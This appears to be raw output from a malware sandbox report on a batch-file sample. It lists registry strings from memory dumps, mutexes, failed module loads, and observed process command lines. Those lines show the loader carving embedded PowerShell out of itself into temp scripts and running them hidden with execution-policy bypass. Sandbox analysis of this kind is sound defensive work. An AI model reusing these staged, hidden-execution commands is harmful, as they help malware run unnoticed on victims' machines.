Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007712.00000000.156396.1BC10000.00000004.mdmp 00000000-00007712.00000001.158316.1BC10000.00000004.mdmp 00000000-00007712.00000002.160237.1BC10000.00000004.mdmp 00000000-00007712.00000003.160629.1BC10000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007712.00000000.156396.1BC10000.00000004.mdmp 00000000-00007712.00000001.158316.1BC10000.00000004.mdmp 00000000-00007712.00000002.160237.1BC10000.00000004.mdmp 00000000-00007712.00000003.160629.1BC10000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00007712.00000000.156396.1BC10000.00000004.mdmp 00000000-00007712.00000001.158316.1BC10000.00000004.mdmp 00000000-00007712.00000002.160237.1BC10000.00000004.mdmp "ogramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;%NV\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4991D34B-80A1-4291-83B" in Source: 00000000-00007712.00000000.156396.7F4F0000.00000004.mdmp 00000000-00007712.00000001.158316.7F4F0000.00000004.mdmp 00000000-00007712.00000002.160237.7F4F0000.00000004.mdmp "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00007712.00000000.156396.7F4F0000.00000004.mdmp 00000000-00007712.00000001.158316.7F4F0000.00000004.mdmp 00000000-00007712.00000002.160237.7F4F0000.00000004.mdmp 00000000-00007712.00000003.160629.7F4F0000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\syst\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{E5C6F054-D817-433A-A76" in Source: 00000000-00007736.00000000.160961.52890000.00000004.mdmp 00000000-00007736.00000001.161210.528C0000.00000004.mdmp "Y\MACHINE\Software\Mt" in Source: 00000000-00007736.00000000.160961.52890000.00000004.mdmp 00000000-00007736.00000001.161210.528C0000.00000004.mdmp "try\Machine\Software\Classes\W" in Source: 00000000-00007736.00000000.160961.52890000.00000004.mdmp 00000000-00007736.00000001.161210.5294A000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007736.00000000.160961.52890000.00000004.mdmp 00000000-00007736.00000001.161210.5294A000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007736.00000000.160961.52890000.00000004.mdmp 00000000-00007736.00000001.161210.5294A000.00000004.mdmp "y\Machine\Software\Classes\A" in Source: 00000000-00007736.00000000.160961.52890000.00000004.mdmp 00000000-00007736.00000001.161210.5294A000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007736.00000000.160961.6CC70000.00000004.mdmp 00000000-00007736.00000001.161210.6CC70000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007736.00000000.160961.6CC70000.00000004.mdmp 00000000-00007736.00000001.161210.6CC70000.00000004.mdmp38:T8d5,Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7840:304:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "Local\SM0:7840:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:7840:120:WilError_01" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "SM0:7840:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:7840:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7840:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7840:120:WilError_01" Process powershell.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8244:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8244:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8244:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:8244:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:8244:120:WilError_01" Process powershell.exe created mutex with name "SM0:8244:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8432:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8432:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:8432:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:8432:120:WilError_01"39:T542,Process "powershell.exe" with commands "powershell -WindowStyle Hidden -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$q=[char]34;$a='/c '+$q+$q+$env:UEOOT9MC+$q+$q+' 3a255e53d3';$i=New-Object System.Diagnostics.ProcessStartInfo('%WINDIR%\\System32\\cmd.exe',$a);$i.WindowStyle=[System.Diagnostics.ProcessWindowStyle]::Hidden;[System.Diagnostics.Process]::Start($i)|Out-Null"" (UID: 00000000-00007840) Process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-Content 'C:\\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat' -Tail 15426 | Select-Object -First 41 | Set-Content '%TEMP%\\svc_2842731493_26626.ps1' -Encoding UTF8"" (UID: 00000000-00008244) Process "powershell.exe" with commandline "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "%TEMP%\\svc_2842731493_26626.ps1"" (UID: 00000000-00008432) Process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Command "Get-Content '%TEMP%\\qrictpazfj4.bat' -Tail 283 -Encoding UTF8 | Set-Content '%TEMP%\\volatile_module_292891825624175.ps1' -Encoding UTF8"" (UID: 00000000-00007712) Process "powershell.exe" with commandline "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "%TEMP%\\volatile_module_292891825624175.ps1"" (UID: 00000000-00007736)3a:T89f,Process "cmd.exe" with commandline "/c ""C:\\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat" "" (UID: 00000000-00003128) Process "cmd.exe" with commandline "/c ""C:\\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" 3a255e53d3" (UID: 00000000-00003704) Process "cmd.exe" with commandline "/c find /c /v "" < "C:\\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" (UID: 00000000-00005444) Process "cmd.exe" with commandline "/c findstr /n /C:"---BEGIN_PS---" "C:\\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" (UID: 00000000-00007156) Process "findstr.exe" with commandline "findstr /n /C:"---BEGIN_PS---" "C:\\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" (UID: 00000000-00007844) Process "cmd.exe" with commandline "/c findstr /n /C:"---BEGIN_ENC---" "C:\\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" (UID: 00000000-00006516) Process "findstr.exe" with commandline "findstr /n /C:"---BEGIN_ENC---" "C:\\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" (UID: 00000000-00004480) Process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-Content 'C:\\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat' -Tail 15426 | Select-Object -First 41 | Set-Content '%TEMP%\\svc_2842731493_26626.ps1' -Encoding UTF8"" (UID: 00000000-00008244) Process "cmd.exe" with commandline "/c "%TEMP%\\qrictpazfj4.bat" __hidden" (UID: 00000000-00006932) Process "cmd.exe" with commandline "/c find /c /v "" < "%TEMP%\\qrictpazfj4.bat"" (UID: 00000000-00008460) Process "cmd.exe" with commandline "/c findstr /n /C:"---BEGIN_PS---" "%TEMP%\\qrictpazfj4.bat"" (UID: 00000000-00006156) Process "findstr.exe" with commandline "findstr /n /C:"---BEGIN_PS---" "%TEMP%\\qrictpazfj4.bat"" (UID: 00000000-00004776) Process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Command "Get-Content '%TEMP%\\qrictpazfj4.bat' -Tail 283 -Encoding UTF8 | Set-Content '%TEMP%\\volatile_module_292891825624175.ps1' -Encoding UTF8"" (UID: 00000000-00007712)3b:Tc49,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135]3c:T6472,"System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00007712.00000000.156396.03960000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00007712.00000000.156396.1BC10000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007712.00000000.156396.1BC10000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007712.00000000.156396.1BC10000.00000004.mdmp "ogramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;%NV\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4991D34B-80A1-4291-83B" in Source: 00000000-00007712.00000000.156396.7F4F0000.00000004.mdmp "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00007712.00000000.156396.7F4F0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00007712.00000001.158316.1BC10000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007712.00000001.158316.1BC10000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007712.00000001.158316.1BC10000.00000004.mdmp "ogramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;%NV\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4991D34B-80A1-4291-83B" in Source: 00000000-00007712.00000001.158316.7F4F0000.00000004.mdmp "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00007712.00000001.158316.7F4F0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00007712.00000002.160237.1BC10000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007712.00000002.160237.1BC10000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007712.00000002.160237.1BC10000.00000004.mdmp "ogramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;%NV\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4991D34B-80A1-4291-83B" in Source: 00000000-00007712.00000002.160237.7F4F0000.00000004.mdmp "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00007712.00000002.160237.7F4F0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007712.00000003.160629.1BC10000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007712.00000003.160629.1BC10000.00000004.mdmp "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00007712.00000003.160629.7F4F0000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\syst\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{E5C6F054-D817-433A-A76" in Source: 00000000-00007736.00000000.160961.52890000.00000004.mdmp "Y\MACHINE\Software\Mt" in Source: 00000000-00007736.00000000.160961.52890000.00000004.mdmp "try\Machine\Software\Classes\W" in Source: 00000000-00007736.00000000.160961.52890000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007736.00000000.160961.52890000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007736.00000000.160961.52890000.00000004.mdmp "y\Machine\Software\Classes\A" in Source: 00000000-00007736.00000000.160961.52890000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007736.00000000.160961.6CC70000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007736.00000000.160961.6CC70000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\syst\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{E5C6F054-D817-433A-A76" in Source: 00000000-00007736.00000001.161210.528C0000.00000004.mdmp "Y\MACHINE\Software\Mt" in Source: 00000000-00007736.00000001.161210.528C0000.00000004.mdmp "try\Machine\Software\Classes\W" in Source: 00000000-00007736.00000001.161210.5294A000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007736.00000001.161210.5294A000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007736.00000001.161210.5294A000.00000004.mdmp "y\Machine\Software\Classes\A" in Source: 00000000-00007736.00000001.161210.5294A000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007736.00000001.161210.6CC70000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007736.00000001.161210.6CC70000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00007736.00000001.161210.6D26C000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007840.00000000.154140.837E0000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\W\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0823B6F8-F499-4D5E-B88" in Source: 00000000-00007840.00000000.154140.837E0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007840.00000000.154140.837E0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007840.00000000.154140.837E0000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00007840.00000000.154140.837E0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007840.00000000.154140.9DC20000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007840.00000001.154337.837E0000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\W\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0823B6F8-F499-4D5E-B88" in Source: 00000000-00007840.00000001.154337.837E0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007840.00000001.154337.837E0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007840.00000001.154337.837E0000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00007840.00000001.154337.837E0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007840.00000001.154337.9DC20000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\Instance" in Source: 00000000-00007840.00000001.154337.9DC20000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder" in Source: 00000000-00007840.00000001.154337.9DC20000.00000004.mdmp "Registry\Machine\Software\Classes\ExplorerCLSIDFlags\{66742402-F9B9-11D1-A202-0000F81FEDEE}" in Source: 00000000-00007840.00000001.154337.9DC20000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00007840.00000001.154337.9DC20000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}" in Source: 00000000-00007840.00000001.154337.9DC20000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00007840.00000001.154337.9DC20000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}" in Source: 00000000-00007840.00000001.154337.9DC20000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00007840.00000001.154337.9E21C000.00000004.mdmp "Registry\Machine\Software\Classes\Applications\cmd.exe" in Source: 00000000-00007840.00000001.154337.9E21C000.00000004.mdmp "Registry\Machine\Software\Classes\Applications\%1.exe" in Source: 00000000-00007840.00000001.154337.9E21C000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1" in Source: 00000000-00007840.00000001.154337.9E21C000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\OverrideFileSystemProperties" in Source: 00000000-00007840.00000001.154337.9E21C000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00007840.00000001.154337.9E21C000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007840.00000001.154337.9E21C000.00000004.mdmp "E\Software\MI" in Source: 00000000-00008244.00000000.154822.28A90000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0R" in Source: 00000000-00008244.00000000.154822.28A90000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00008244.00000000.154822.28A90000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00008244.00000000.154822.28A90000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008244.00000000.154822.28A90000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008244.00000000.154822.28A90000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00008244.00000000.154822.28A90000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008244.00000000.154822.43030000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008244.00000000.154822.43030000.00000004.mdmp "E\Software\MI" in Source: 00000000-00008244.00000001.154951.28A90000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0R" in Source: 00000000-00008244.00000001.154951.28A90000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00008244.00000001.154951.28A90000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00008244.00000001.154951.28A90000.00000004.mdmp 